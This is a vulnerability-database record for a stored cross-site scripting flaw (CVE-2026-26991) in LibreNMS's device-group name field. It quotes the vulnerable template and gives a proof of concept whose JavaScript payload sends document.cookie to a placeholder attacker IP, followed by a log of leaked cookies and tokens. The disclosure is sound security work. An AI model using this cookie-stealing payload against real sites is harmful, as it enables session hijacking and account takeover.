{"id":"CVE-2026-26991","aliases":["GHSA-5pqf-54qp-32wx"],"url":"https://o3.security/vulnerability/CVE-2026-26991","summary":"LibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups name","details":"### Summary\n**/device-groups name Stored Cross-Site Scripting**\n- HTTP POST\n- Request-URI(s): \"/device-groups\"\n- Vulnerable parameter(s): \"name\"\n- Attacker must be authenticated with \"admin\" privileges.\n- When a user adds a device group, an HTTP POST request is sent to the Request-URI \"/device-groups\". The name of the newly created device group is stored in the value of the name parameter.\n- After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.\n\n### Details\nThe vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters\nor strings. When the delete button is rendered, the following template is used to render the page:\n\n_resources/views/device-group/index.blade.php:_\n```\n@section('title', __('Device Groups'))\n@section('content')\n<div class=\"container-fluid\">\n<x-panel id=\"manage-device-groups-panel\">\n// [...Truncated...]\n@foreach($device_groups as $device_group)\n// [...Truncated...]\n\n<button type=\"button\" class=\"btn btn-danger btn-\nsm\" title=\"{{ __('delete Device Group') }}\" aria-label=\"{{ __('Delete') }}\"\nonclick=\"delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)\n}}')\"> // using the device's name in the Delete button functionality without\nsanitizing for XSS related characters/strings\n```\n\nAs the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored\ncross-site scripting.\n\n### PoC\n- Login\n- Select Devices > Manage Groups\n- Select New Device Group\n- Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-\n- '.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into\n- the \"Name\" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)\n- Select \"access_points.accesspoint_id\" as the Conditional input\n- Input 1 into the Conditional value input box\n- Select Save\n- Select the Delete Icon for the newly created Device Group\n- Select OK\n- The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled\n- server, leaking the user's cookies.\n\n### Impact\nAttacker Controlled server's logs:\n```\n192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] \"GET /cookie-\njqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai\n\nl%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh\n\nLnQxXHlpw3abw4C74y%22%5D;%20XSRF-\nTOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL\n\nZ2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj\nBLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0\nZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG\nI4IiwidGFnIjoiIn0%3D HTTP/1.1\" 404 492 \"http://192.168.1.121/\" \"Mozilla/5.0\n(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\nChrome/144.0.0.0 Safari/537.36\"\n```","published":"2026-02-20T02:21:31.889Z","modified":"2026-08-12T03:51:13.784513441Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"librenms/librenms","fixedVersion":"26.2.0"}],"fix":{"url":"https://github.com/librenms/librenms/commit/64b31da444369213eb4559ec1c304ebfaa0ba12c","label":"librenms/librenms@64b31da"},"references":[{"type":"WEB","url":"https://github.com/librenms/librenms/releases/tag/26.2.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26991.json"},{"type":"ADVISORY","url":"https://github.com/librenms/librenms/security/advisories/GHSA-5pqf-54qp-32wx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26991"},{"type":"FIX","url":"https://github.com/librenms/librenms/commit/64b31da444369213eb4559ec1c304ebfaa0ba12c"},{"type":"FIX","url":"https://github.com/librenms/librenms/pull/19041"},{"type":"PACKAGE","url":"https://github.com/librenms/librenms"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:13.784513441Z"}}